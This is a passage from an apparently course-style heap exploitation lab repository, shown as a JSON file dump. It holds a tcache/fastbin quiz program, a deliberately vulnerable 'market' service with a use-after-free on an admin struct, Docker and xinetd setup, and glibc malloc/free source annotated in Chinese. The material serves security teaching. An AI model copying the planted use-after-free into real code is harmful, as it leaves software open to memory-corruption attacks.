    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <time.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    srand(time(NULL));\n\n    void *tcache_chk[7]                = {0};\n    unsigned char tcachebin[3][7]      = {0}; // 0x20, 0x30, 0x40\n    unsigned int tcachebin_counts[4]   = {0};\n    unsigned long tcache_size[7]       = {0};\n    unsigned long tcache_free_order[7] = {0};\n\n    puts(\"----------- ** tcache chall ** -----------\");\n    unsigned long tmp = 0;\n    for (int i = 0; i < 7; i++) {\n        tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30\n        tcache_size[i] = tmp;\n    }\n\n    for (int i = 0; i < 7; i++) {\n    repeat:\n        tmp = rand() % 7;\n        for (int j = 0; j < i; j++)\n            if (tmp == tcache_free_order[j]) goto repeat;\n        tcache_free_order[i] = tmp;\n    }\n\n    for (int i = 0; i < 7; i++) {\n        tcache_chk[i] = malloc( tcache_size[i] );\n        printf(\"char *%c = (char *) malloc(0x%lx);\\n\", 'A' + i, tcache_size[i]);\n    }\n\n    for (int i = 0; i < 7; i++) {\n        int idx = tcache_free_order[i];\n        free(tcache_chk[ idx ]);\n        printf(\"free(%c);\\n\", 'A' + (unsigned char) idx);\n\n        tmp = tcache_size[ idx ] - 0x8;\n        if (tmp % 0x10)\n            tmp = (tmp & ~0xf) + 0x20;\n        else\n            tmp += 0x10;\n\n        unsigned int binidx = ((tmp - 0x20) / 0x10);\n        unsigned int bincnt = tcachebin_counts[ binidx ];\n        tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;\n        tcachebin_counts[ binidx ]++;\n    }\n\n    char tmpbuf[0x100]   = {0};\n    char ansbuf[3][0x100] = {0};\n    for (int i = 0; i < 3; i++) {\n        for (int j = 6; j >= 0; j--)\n            if (tcachebin[i][j]) {\n                sprintf(tmpbuf, \"%c --> \", tcachebin[i][j]);\n                strcat(ansbuf[i], tmpbuf);\n            }\n        strcat(ansbuf[i], \"NULL\");\n    }\n    puts(\"\");\n    for (int i = 0; i < 3; i++) {\n        printf(\"[chunk size] 0x%x: \", (i+2) * 0x10);\n        if (i == 0) {\n            printf(\"%s\\t(just send \\\"%s\\\")\\n\", ansbuf[i], ansbuf[i]);\n        } else {\n            printf(\"?\\n> \");\n            fgets(tmpbuf, 0x100, stdin);\n            if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {\n                puts(\"Correct !\");\n            } else {\n                puts(\"Wrong !\");\n                printf(\"Ans: \\\"%s\\\"\\n\", ansbuf[i]);\n                exit(0);\n            }\n        }\n    }\n\n    puts(\"\\n----------- ** address chall ** -----------\");\n    int cmp1 = 0;\n    int cmp2 = 0;\n    unsigned long ans_addr = 0;\n\n    cmp1 = rand() % 7;\n    while ((cmp2 = rand() % 7) == cmp1);\n    if (cmp1 > cmp2) {\n        tmp = cmp1;\n        cmp1 = cmp2;\n        cmp2 = tmp;\n    }\n\n    printf(\"assert( %c == %p );\\n\", 'A' + cmp1, tcache_chk[ cmp1 ]);\n    printf(\"%c == ?\\t(send as hex format, e.g. \\\"%p\\\")\\n> \",\n                'A' + cmp2, tcache_chk[ cmp1 ]);\n    scanf(\"%s\", tmpbuf);\n    ans_addr = strtoul(tmpbuf, NULL, 16);\n\n    if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) {\n        puts(\"Correct !\");\n    } else {\n        puts(\"Wrong !\");\n        printf(\"Ans: %p\\n\", tcache_chk[ cmp2 ]);\n        exit(0);\n    }\n\n    puts(\"\\n----------- ** index chall ** -----------\");\n    unsigned long *fastbin[2] = {0};\n    unsigned long fastbin_size = 0;\n    unsigned long secret_idx = 0, result_idx = 0, res = 0;\n\n    fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70\n    fastbin_size &= ~0xf;\n    fastbin[0] = (unsigned long *) malloc( fastbin_size );\n    fastbin[1] = (unsigned long *) malloc( fastbin_size );\n    \n    printf(\"unsigned long *%c = (unsigned long *) malloc(0x%lx);\\n\", 'X', fastbin_size);\n    printf(\"unsigned long *%c = (unsigned long *) malloc(0x%lx);\\n\", 'Y', fastbin_size);\n\n    secret_idx = rand() % (fastbin_size / 8);\n    fastbin[1][ secret_idx ] = 0xdeadbeef;\n    result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;\n    \n    printf(\"Y[%lu] = 0xdeadbeef;\\n\", secret_idx);\n    printf(\"X[?] == 0xdeadbeef\\t(just send an integer, e.g. \\\"8\\\")\\n> \");\n    scanf(\"%lu\", &res);\n\n    if (fastbin[0][res] == 0xdeadbeef) {\n        puts(\"Correct !\");\n    } else {\n        puts(\"Wrong !\");\n        printf(\"Ans: %lu\\n\", result_idx);\n        exit(0);\n    }\n\n    puts(\"\\n----------- ** tcache fd chall ** -----------\");\n    free(fastbin[0]);\n    free(fastbin[1]);\n    printf(\"free(X);\\nfree(Y);\\nassert( Y == %p );\\n\", fastbin[1]);\n    printf(\"fd of Y == ?\\t(send as hex format, e.g. \\\"%p\\\")\\n> \", fastbin[1]);\n    scanf(\"%s\", tmpbuf);\n    ans_addr = strtoul(tmpbuf, NULL, 16);\n\n    if (ans_addr == *fastbin[1]) {\n        puts(\"Correct !\");\n    } else {\n        puts(\"Wrong !\");\n        printf(\"Ans: 0x%lx\\n\", *fastbin[1]);\n        exit(0);\n    }\n\n    puts(\"\\n----------- ** fastbin fd chall (final) ** -----------\");\n    puts(\"[*] Restore the chunk to X and Y\");\n    printf(\"%c = (unsigned long *) malloc(0x%lx);\\n\", 'Y', fastbin_size);\n    printf(\"%c = (unsigned long *) malloc(0x%lx);\\n\", 'X', fastbin_size);\n    fastbin[1] = malloc(fastbin_size);\n    fastbin[0] = malloc(fastbin_size);\n    printf(\"[*] Do something to fill up 0x%lx tcache\\n...\\n[*] finish\\n\", fastbin_size + 0x10);\n    void *tmpchk[7];\n    for (int i = 0; i < 7; i++)\n        tmpchk[i] = malloc(fastbin_size);\n    for (int i = 0; i < 7; i++)\n        free(tmpchk[i]);\n    printf(\"free(X);\\nfree(Y);\\nassert( Y == %p );\\n\", fastbin[1]);\n    free(fastbin[0]);\n    free(fastbin[1]);\n    printf(\"fd of Y == ?\\t(send as hex format, e.g. \\\"%p\\\")\\n> \", fastbin[1]);\n    scanf(\"%s\", tmpbuf);\n    ans_addr = strtoul(tmpbuf, NULL, 16);\n\n    if (ans_addr == *fastbin[1]) {\n        puts(\"Correct !\");\n        memset(tmpbuf, 0, 0x31);\n        \n        int fd = open(\"/home/heapmath/flag\", O_RDONLY);\n        read(fd, tmpbuf, 0x30);\n        close(fd);\n        printf(\"Here is your flag: %s\\n\", tmpbuf);\n    } else {\n        puts(\"Wrong !\");\n        printf(\"Ans: 0x%lx\\n\", *fastbin[1]);\n        exit(0);\n    }\n}"
  },
  {
    "path": "2021/week2/lab/heapmath/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 1800 /home/heapmath/heapmath\n"
  },
  {
    "path": "2021/week2/lab/heapmath/xinetd",
    "content": "service heapmath\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/heapmath/run.sh\n    user = heapmath\n    port = 30208\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week2/lab/market/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m market\nRUN chown -R root:root /home/market\nRUN chmod -R 755 /home/market\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week2/lab/market/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  market:\n    build: ./\n    volumes:\n      - ./share:/home/market:ro\n      - ./xinetd:/etc/xinetd.d/market:ro\n    ports:\n      - \"30209:30209\"\n    expose:\n      - \"30209\""
  },
  {
    "path": "2021/week2/lab/market/share/Makefile",
    "content": "all:\n\tgcc -g -o market market.c"
  },
  {
    "path": "2021/week2/lab/market/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week2/lab/market/share/market.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\nssize_t safe_read(int fd, void *ptr, size_t count)\n{\n    int nread = 0;\n    nread = read(fd, ptr, count);\n    if (nread <= 0)\n        exit(1);\n    return nread;\n}\n\nvoid readstr(char *ptr, unsigned cnt)\n{\n    int nread = 0;\n    nread = safe_read(0, ptr, cnt + 1);\n    ptr[nread - 1] = '\\0';\n}\n\nunsigned long readu64()\n{\n    char str[0x20] = {0};\n    readstr(str, 0x10);\n    return strtoul(str, NULL, 10);\n}\n\ntypedef struct _User {\n    char name[0x8];\n    char *secret;\n} User;\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    User *admin = malloc(sizeof(User));\n    User *you = NULL;\n\n    strcpy(admin->name, \"admin\");\n\n    admin->secret = malloc(0x30);\n    int fd = open(\"/home/market/flag\", O_RDONLY);\n    read(fd, admin->secret, 0x30);\n    close(fd);\n\n    char buf[0x10] = {0};\n    int nr = 0;\n    printf(\"Do you need the admin ?\\n> \");\n    nr = read(0, buf, 0x4);\n    if (buf[0] == 'n') {\n        puts(\"Sad :(\");\n        free(admin);\n        free(admin->secret);\n        admin = NULL;\n    }\n\n    you = malloc(sizeof(User));\n    printf(\"What's your name ?\\n> \");\n    read(0, you->name, 0x7);\n\n    unsigned long size = 0;\n    printf(\"How long is your secret ?\\n> \");\n    size = readu64();\n    you->secret = malloc(size);\n\n    printf(\"What's your secret ?\\n> \");\n    read(0, you->secret, size);\n\n    unsigned long opt = 0;\n    while (1)\n    {\n        puts(\"1. new name\");\n        puts(\"2. show secret\");\n        puts(\"3. steal the secret of admin\");\n        puts(\"4. new secret\");\n        printf(\"> \");\n        opt = readu64();\n\n        if (opt == 1) {\n            printf(\"What's your new name ?\\n> \");\n            read(0, you->name, 0x7);\n        } else if (opt == 2) {\n            printf(\"Your secret: %s\\n\", you->secret);\n        } else if (opt == 3) {\n            if (!admin) {\n                puts(\"no admin\");\n            } else {\n                puts(\"you has been killed by admin\");\n                exit(1);\n            }\n        } else if (opt == 4) {\n            free(you->secret);\n            printf(\"How long is your secret ?\\n> \");\n            size = readu64();\n            you->secret = malloc(size);\n\n            printf(\"What's your secret ?\\n> \");\n            read(0, you->secret, size);\n        } else {\n            puts(\"bye ~\");\n            break;\n        }\n    }\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week2/lab/market/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/market/market"
  },
  {
    "path": "2021/week2/lab/market/xinetd",
    "content": "service market\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/market/run.sh\n    user = market\n    port = 30209\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week2/src_review/free_internal.c",
    "content": "// disable squiggles first\n#define USE_TCACHE 1\n\n// ANCHOR 1. __libc_free(): free 的進入點\nvoid\n__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;                          /* chunk corresponding to mem */\n\n  // 如果 __free_hook 有定義的話，就會以 __free_hook 為 function pointer 去呼叫\n  void (*hook) (void *, const void *)\n    = atomic_forced_read (__free_hook);\n  if (__builtin_expect (hook != NULL, 0))\n    {\n      (*hook)(mem, RETURN_ADDRESS (0));\n      return;\n    }\n  // free NULL 會直接回傳\n  if (mem == 0)\n    return;\n  // chunk2mem(): input 為 chunk 的起頭，output 為使用者拿到的 chunk\n  // mem2chunk(): input 為使用者拿到的 chunk，output 為 chunk 的起頭\n  p = mem2chunk (mem);\n\n  // ! 如果 chunk 是透過 mmap() 產生的，則會使用 unmap 來釋放\n  if (chunk_is_mmapped (p))\n    {\n      ...\n      munmap_chunk (p);\n      return;\n    }\n  // 通常在 malloc 時會已經初始化完 tcache\n  MAYBE_INIT_TCACHE ();\n  // 檢查 chunk 的 NON_MAIN_ARENA bit，如果是 unset，則回傳 main_arena\n  // 否則回傳 chunk 所屬的 heap 其對應到的 arena\n  ar_ptr = arena_for_chunk (p);\n  // ! _int_free 用來處理釋放記憶體的操作\n  _int_free (ar_ptr, p, 0);\n}\n\n// ANCHOR 2 _int_free(): ptmalloc 記憶體釋放的核心機制\nstatic void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;        /* its size */\n  mfastbinptr *fb;             /* associated fastbin */\n  mchunkptr nextchunk;         /* next contiguous chunk */\n  INTERNAL_SIZE_T nextsize;    /* its size */\n  int nextinuse;               /* true if nextchunk is used */\n  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */\n  mchunkptr bck;               /* misc temp for linking */\n  mchunkptr fwd;               /* misc temp for linking */\n\n  // 取得 chunk size\n  size = chunksize (p);\n\n  // chunk pointer 需要 aligned，也不會在 address space 的結尾\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  // chunk 至少要大於 MINSIZE (0x20) 並且對其 MALLOC_ALIGNMENT (0x10)\n  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  // ! ---------------------- 第一、tcache ----------------------\n  {\n    size_t tc_idx = csize2tidx (size); // 取得 chunk size 對應到的 tcache idx\n    if (tcache != NULL && tc_idx < mp_.tcache_bins)\n      {\n\t\t// 檢查 chunk 是否已經存在於 tcache 當中\n\t\ttcache_entry *e = (tcache_entry *) chunk2mem (p);\n\n\t\t// 將此 chunk 視為 tcache entry 的話，對應 key 的位置極少可能是 tcache 的位址\n\t\t// 所以條件滿足的話要進行額外的檢查\n\t\tif (__glibc_unlikely (e->key == tcache))\n\t\t{\n\t\t\ttcache_entry *tmp;\n\t\t\t// traverse 此 tcache bin 每個 entry，看是否有與要釋放的 chunk 相同\n\t\t\tfor (tmp = tcache->entries[tc_idx];\n\t\t\ttmp;\n\t\t\ttmp = tmp->next)\n\t\t\tif (tmp == e)\n\t\t\tmalloc_printerr (\"free(): double free detected in tcache 2\");\n\t\t}\n\n\t\t// 如果對應的 tcache bin 還沒滿，就放到當中並 return\n\t\tif (tcache->counts[tc_idx] < mp_.tcache_count)\n\t\t{\n\t\t\ttcache_put (p, tc_idx);\n\t\t\treturn;\n\t  }\n      }\n  }\n  // ! ---------------------- 第二、fastbin ----------------------\n\t// 若 chunk size 在 fastbin 的範圍中\n  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())) {\n\t// 檢查下個 chunk 的大小是否在合法範圍內\n    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))\n\t\t\t  <= 2 * SIZE_SZ, 0)\n\t|| __builtin_expect (chunksize (chunk_at_offset (p, size))\n\t\t\t     >= av->system_mem, 0))\n\t{\n\t\tbool fail = true;\n\t\tif (fail)\n\t\tmalloc_printerr (\"free(): invalid next size (fast)\");\n\t}\n\n    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);\n\n    atomic_store_relaxed (&av->have_fastchunks, true);\n    unsigned int idx = fastbin_index(size); // 取得對應大小的 fastbin idx\n    fb = &fastbin (av, idx); // 取得對應 idx 的 fastbin 位址\n\n    // old 為 fastbin 中的第一個 chunk\n    mchunkptr old = *fb, old2;\n\n    if (SINGLE_THREAD_P)\n      {\n\t\t// 如果即將被釋放的 chunk == fastbin 的第一個 chunk，則發生 double free\n\t\tif (__builtin_expect (old == p, 0))\n\t\t\tmalloc_printerr (\"double free or corruption (fasttop)\");\n\t\t\tp->fd = old;\n\t\t\t*fb = p;\n      }\n\t  else\n\t  {\n\t\t  // multithread case\n\t\t  ...\n\t  }\n  }\n\n  // 如果 chunk 並非使用 mmap() 所建立\n  else if (!chunk_is_mmapped(p)) {\n\t// ! ---------------------- 第三、unsorted bin ----------------------\n    /* If we're single-threaded, don't lock the arena.  */\n    if (SINGLE_THREAD_P)\n      have_lock = true;\n\n\t// 取得下個相鄰 chunk 的位址\n    nextchunk = chunk_at_offset(p, size);\n\n\t// 要釋放的 chunk 為 top chunk\n    if (__glibc_unlikely (p == av->top))\n      malloc_printerr (\"double free or corruption (top)\");\n\t// 要下個 chunk 的位址已經超過 boundaries\n    if (__builtin_expect (contiguous (av)\n\t\t\t  && (char *) nextchunk\n\t\t\t  >= ((char *) av->top + chunksize(av->top)), 0))\n\tmalloc_printerr (\"double free or corruption (out)\");\n\t// 要釋放的 chunk 已經被下個 chunk mark 成沒在使用 (prev_inuse == 0)\n    if (__glibc_unlikely (!prev_inuse(nextchunk)))\n      malloc_printerr (\"double free or corruption (!prev)\");\n\n\t// 取得下個相鄰 chunk 的大小\n    nextsize = chunksize(nextchunk);\n    if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)\n\t|| __builtin_expect (nextsize >= av->system_mem, 0))\n\t  // 下個 chunk 的大小不合法\n      malloc_printerr (\"free(): invalid next size (normal)\");\n\n    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);\n\n\t// 上個相鄰 chunk 沒在使用，將他們合併\n    if (!prev_inuse(p)) {\n      prevsize = prev_size (p);\n      size += prevsize;\n      p = chunk_at_offset(p, -((long) prevsize));\n      if (__glibc_unlikely (chunksize(p) != prevsize))\n        malloc_printerr (\"corrupted size vs. prev_size while consolidating\");\n      unlink_chunk (av, p);\n    }\n\n\t// 下個相鄰 chunk 若不是 top chunk\n    if (nextchunk != av->top) {\n      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);\n      // 如果下下個 chunk 的 prev_inuse == 0，代表下個 chunk 沒在用，\n\t  // 就 consolidate 下個 chunk\n      if (!nextinuse) {\n\t\tunlink_chunk (av, nextchunk);\n\t\tsize += nextsize;\n      } else\n\tclear_inuse_bit_at_offset(nextchunk, 0);\n\n\t  // 將 chunk 放到 unsorted bin 當中\n      bck = unsorted_chunks(av);\n      fwd = bck->fd;\n      if (__glibc_unlikely (fwd->bk != bck))\n\t\tmalloc_printerr (\"free(): corrupted unsorted chunks\");\n      p->fd = fwd;\n      p->bk = bck;\n      if (!in_smallbin_range(size))\n\t{\n\t  p->fd_nextsize = NULL;\n\t  p->bk_nextsize = NULL;\n\t}\n\t  // 更新 fd 與 bk\n      bck->fd = p;\n      fwd->bk = p;\n\n      set_head(p, size | PREV_INUSE);\n      set_foot(p, size);\n\n      check_free_chunk(av, p);\n    }\n\t// 下個相鄰 chunk 是 top chunk，直接與 top chunk 合併\n    else {\n      size += nextsize;\n      set_head(p, size | PREV_INUSE);\n      av->top = p;\n      check_chunk(av, p);\n    }\n\n    // FASTBIN_CONSOLIDATION_THRESHOLD == 65536\n\t// 當釋放掉的 chunk 大小超過 65536 (0x10000)，會 trigger malloc_consolidate()\n\t// 合併掉 fastbin 內的 chunk 來減少 fragmentation\n    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {\n      ...\n\t    malloc_consolidate(av);\n    }\n\n\t// trim memory 的操作\n      if (av == &main_arena) { ... /* single thread case */ }\n\t  else { ... /* multithread case */ }\n  }\n  // ! 如果 chunk 用 mmap() 建立，則用 munmap 來釋放\n  else {\n    munmap_chunk (p);\n  }\n}\n\n// ANCHOR 3. tcache_put(): 釋放 chunk 至 tcache\nstatic __always_inline void\ntcache_put (mchunkptr chunk, size_t tc_idx)\n{\n  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);\n  // 將 key member 設為 tcache，藉此來偵測 double free\n  e->key = tcache;\n  // 更新指向下一個的 chunk\n  e->next = tcache->entries[tc_idx];\n  // 更新 tcache_perthread_struct 指向的第一個 chunk\n  tcache->entries[tc_idx] = e;\n  // counter++\n  ++(tcache->counts[tc_idx]);\n}\n\n// ANCHOR 4. malloc_consolidate(): glibc 用於減少 fragmentation 的合併機制，與 free() 內部的實作類似，但是主要用來處理 fastbin\nstatic void malloc_consolidate(mstate av)\n{\n  mfastbinptr*    fb;                 /* current fastbin being consolidated */\n  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */\n  mchunkptr       p;                  /* current chunk being consolidated */\n  mchunkptr       nextp;              /* next chunk to consolidate */\n  mchunkptr       unsorted_bin;       /* bin header */\n  mchunkptr       first_unsorted;     /* chunk to link to */\n\n  /* These have same use as in free() */\n  mchunkptr       nextchunk;\n  INTERNAL_SIZE_T size;\n  INTERNAL_SIZE_T nextsize;\n  INTERNAL_SIZE_T prevsize;\n  int             nextinuse;\n\n  atomic_store_relaxed (&av->have_fastchunks, false);\n\n  unsorted_bin = unsorted_chunks(av);\n\n  // 合併 fastbin 當中的 chunk，並且將合併後的 chunk 放入 unsorted bin 當中\n\n  maxfb = &fastbin (av, NFASTBINS - 1); // 取得 fastbin 最大的 index\n  fb = &fastbin (av, 0); // 取得 &main.fastbinsY\n  do {\n    p = atomic_exchange_acq (fb, NULL);\n    if (p != 0) {\n      do {\n\n\t{\n\t  unsigned int idx = fastbin_index (chunksize (p));\n\t  if ((&fastbin (av, idx)) != fb)\n\t    malloc_printerr (\"malloc_consolidate(): invalid chunk size\");\n\t}\n\n\tnextp = p->fd; // 取得下一塊 chunk\n\n  // ! ------- 先往上個 merge -------\n\tsize = chunksize (p); // chunk szie\n\tnextchunk = chunk_at_offset(p, size); // 下一個 chunk 的位址\n\tnextsize = chunksize(nextchunk); // 下一個 chunk 的 chunk size\n\n\tif (!prev_inuse(p)) { // 如果 chunk 的 prev_inuse 沒設，代表上一塊沒有用\n\t  prevsize = prev_size (p); // 取得上塊的大小\n\t  size += prevsize;\n\t  p = chunk_at_offset(p, -((long) prevsize)); // 取得上一塊 chunk 的位址\n\t  // 檢查上塊 chunk size 是否與紀錄的 size 相同\n\t  if (__glibc_unlikely (chunksize(p) != prevsize))\n\t    malloc_printerr (\"corrupted size vs. prev_size in fastbins\");\n\t  // 將上個 chunk 從原本所屬的 bin 取出\n\t  unlink_chunk (av, p);\n\t}\n\n  // ! ------- 再往下個 merge -------\n\tif (nextchunk != av->top /* 下個不是 top chunk，也就是並非最後一塊 chunk */) {\n\t  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);\n\n\t  // 如果下一塊沒在用\n\t  if (!nextinuse) {\n\t    size += nextsize;\n\t  // 將下個 chunk 從原本所屬的 bin 取出\n\t    unlink_chunk (av, nextchunk);\n\t  } else\n\t    clear_inuse_bit_at_offset(nextchunk, 0); // unset 下一塊 chunk 的 prev_inuse\n\n      // unsorted 的第一塊\n\t  first_unsorted = unsorted_bin->fd;\n\t  unsorted_bin->fd = p; // 更新 unsorted bin 的第一塊\n\t  first_unsorted->bk = p; // 原本的第一塊，變成第二塊\n\n\t  // 如果並非在 smallbin 的範圍，則清除殘留的 fd_nextsize 與 bk_nextsize\n\t  if (!in_smallbin_range (size)) {\n\t    p->fd_nextsize = NULL;\n\t    p->bk_nextsize = NULL;\n\t  }\n\n\t  // 放入 unsorted bin 當中\n\t  set_head(p, size | PREV_INUSE);\n\t  p->bk = unsorted_bin;\n\t  p->fd = first_unsorted;\n\t  set_foot(p, size);\n\t}\n\n\telse { // 由於下一塊為 top chunk，會直接被 merge 到 top chunk 當中\n\t  size += nextsize;\n\t  set_head(p, size | PREV_INUSE);\n\t  av->top = p;\n\t}\n\n      } while ( (p = nextp) != 0); // update 要檢查的下個 chunk，即是 chk->fd\n\n    }\n  } while (fb++ != maxfb); // traverse 所有 fastbin\n}"
  },
  {
    "path": "2021/week2/src_review/malloc_internal.c",
    "content": "// disable squiggles first\n#define USE_TCACHE 1\n\n// ANCHOR 1. __libc_malloc(): malloc 的進入點\nvoid *\n__libc_malloc (size_t bytes)\n{\n  mstate ar_ptr;\n  void *victim; // victim 會指向要被回傳的 chunk\n\n  // ! 初始化 heap\n  // 如果 __malloc_hook 有定義的話，就會以 __malloc_hook 為 function pointer 去呼叫\n  // 一開始的 __malloc_hook 會存放用來初始化 heap 的 function \"ptmalloc_init()\"\n  void *(*hook) (size_t, const void *)\n    = atomic_forced_read (__malloc_hook);\n  if (__builtin_expect (hook != NULL, 0))\n    return (*hook)(bytes, RETURN_ADDRESS (0));\n#if USE_TCACHE // 預設會是 true\n  size_t tbytes;\n  // 會將 malloc size 做 alignment 後轉成 chunk size 存於 tbytes\n  if (!checked_request2size (bytes, &tbytes))\n    {\n      __set_errno (ENOMEM);\n      return NULL;\n    }\n  size_t tc_idx = csize2tidx (tbytes);\n  // ! 初始化 tcache\n  // 如果 tcache_perthread_struct 的結構還沒有被建立，則會呼叫 tcache_init()，\n  // tcache_init() 會去請求 chunk size 為 0x290 的 chunk 給 tcache_perthread_struct，\n  // 並將 tcache 的位址存放於 thread local storage 當中\n  MAYBE_INIT_TCACHE ();\n\n  // ! ---------------------- 第一、tcache ----------------------\n  // 如果 tcache 對應的 index 內有 chunk 可以用 (tcache->counts[tc_idx] > 0)，\n  // 就會透過 tcache_get() 取得 chunk 並回傳給使用者\n  if (tc_idx < mp_.tcache_bins\n      && tcache\n      && tcache->counts[tc_idx] > 0)\n    {\n      return tcache_get (tc_idx);\n    }\n#endif\n\n  if (SINGLE_THREAD_P) // 如果是 single thread\n    {\n      // ! 呼叫 malloc 的核心 function\n      // 使用 _int_malloc (internal malloc) 從 main_arena 內儲存的資訊取出\n      // chunk 回傳給使用者\n      victim = _int_malloc (&main_arena, bytes);\n      // 檢查 chunk: (不是 NULL || chunk 用 mmap 所建立 || main_arena 為 chunk 的 arena)\n      // mem2chunk(): input 為使用者拿到的 chunk，output 為 chunk 的起頭\n      // chunk2mem(): input 為 chunk 的起頭，output 為使用者拿到的 chunk\n      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||\n\t      &main_arena == arena_for_chunk (mem2chunk (victim)));\n      return victim;\n    }\n\n  // 下面的程式碼為 multit-hread 時才會使用到\n  ...\n}\n\n// ANCHOR 2. tcache_get(): 從 tcache 中取得 chunk\nstatic __always_inline void *\ntcache_get (size_t tc_idx)\n{\n  // 從 tcache_perthread_struct 取出對應 index 的第一個 chunk\n  tcache_entry *e = tcache->entries[tc_idx];\n  // 更新對應 index 的第一個 chunk\n  tcache->entries[tc_idx] = e->next;\n  // counter--\n  --(tcache->counts[tc_idx]);\n  // 清除 key 來避免殘留 heap 位址\n  e->key = NULL;\n  return (void *) e;\n}\n\n// ANCHOR 3. _int_malloc(): ptmalloc 記憶體分配的核心機制\nstatic void *\n_int_malloc (mstate av, size_t bytes)\n{\n  INTERNAL_SIZE_T nb;               /* normalized request size */\n  unsigned int idx;                 /* associated bin index */\n  mbinptr bin;                      /* associated bin */\n\n  mchunkptr victim;                 /* inspected/selected chunk */\n  INTERNAL_SIZE_T size;             /* its size */\n  int victim_index;                 /* its bin index */\n\n  mchunkptr remainder;              /* remainder from a split */\n  unsigned long remainder_size;     /* its size */\n\n  unsigned int block;               /* bit map traverser */\n  unsigned int bit;                 /* bit map traverser */\n  unsigned int map;                 /* current word of binmap */\n\n  mchunkptr fwd;                    /* misc temp for linking */\n  mchunkptr bck;                    /* misc temp for linking */\n\n#if USE_TCACHE\n  size_t tcache_unsorted_count;\t    /* count of unsorted chunks processed */\n#endif\n\n  // ! 將 malloc size 轉為 chunk size\n  // 會將 malloc size 做 alignment 後轉成 chunk size 存於 nb\n  if (!checked_request2size (bytes, &nb))\n    {\n      __set_errno (ENOMEM);\n      return NULL;\n    }\n\n  // arena 為空，呼叫 sysmalloc() 來得到用 mmap() 產生的 chunk\n  if (__glibc_unlikely (av == NULL))\n    {\n      void *p = sysmalloc (nb, av);\n      if (p != NULL)\n\talloc_perturb (p, bytes);\n      return p;\n    }\n\n  // ! ---------------------- 第二、fastbin ----------------------\n  // 首先檢查 chunk size <= get_max_fast()，也就是 0x80\n  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))\n    {\n      idx = fastbin_index (nb); // 取得 chunk size 在 fastbin 內的 idx\n      // 取得 &main_arena.fastbinsY[idx]\n      mfastbinptr *fb = &fastbin (av, idx);\n      mchunkptr pp;\n      victim = *fb; // 要回傳的即是指向的第一塊 chunk\n\n      if (victim != NULL)\n\t{\n\t  if (SINGLE_THREAD_P)\n\t    *fb = victim->fd; // 更新第一塊 chunk\n\t  \n\t  if (__glibc_likely (victim != NULL))\n\t    {\n        // 取得 chunk 結構紀錄的 size 所對應到的 idx\n        // 比較是否與 chunk size 對應到的 idx 相同\n        // 即為：如果回傳的 chunk 的大小不該屬於此 fastbin，則被判斷為 corrupt\n\t      size_t victim_idx = fastbin_index (chunksize (victim));\n\t      if (__builtin_expect (victim_idx != idx, 0))\n\t\tmalloc_printerr (\"malloc(): memory corruption (fast)\");\n\t      check_remalloced_chunk (av, victim, nb);\n#if USE_TCACHE\n\t      // 此機制稱 tcache stash\n        // 如果 fastbin 還有剩 chunk，就會嘗試把這些 chunk 放到 tcache 當中\n\t      size_t tc_idx = csize2tidx (nb);\n\t      if (tcache && tc_idx < mp_.tcache_bins\n          /* mp 為 malloc parameter，記錄一些 metadata */)\n\t\t{\n\t\t  mchunkptr tc_victim;\n\n\t\t  // 當 (fastbin 還有 chunk && tcache 還沒滿)\n\t\t  while (tcache->counts[tc_idx] < mp_.tcache_count\n\t\t\t && (tc_victim = *fb) != NULL)\n\t\t    {\n\t\t      if (SINGLE_THREAD_P)\n\t\t\t    *fb = tc_victim->fd;\n              // 放入 tcache 當中\n\t\t      tcache_put (tc_victim, 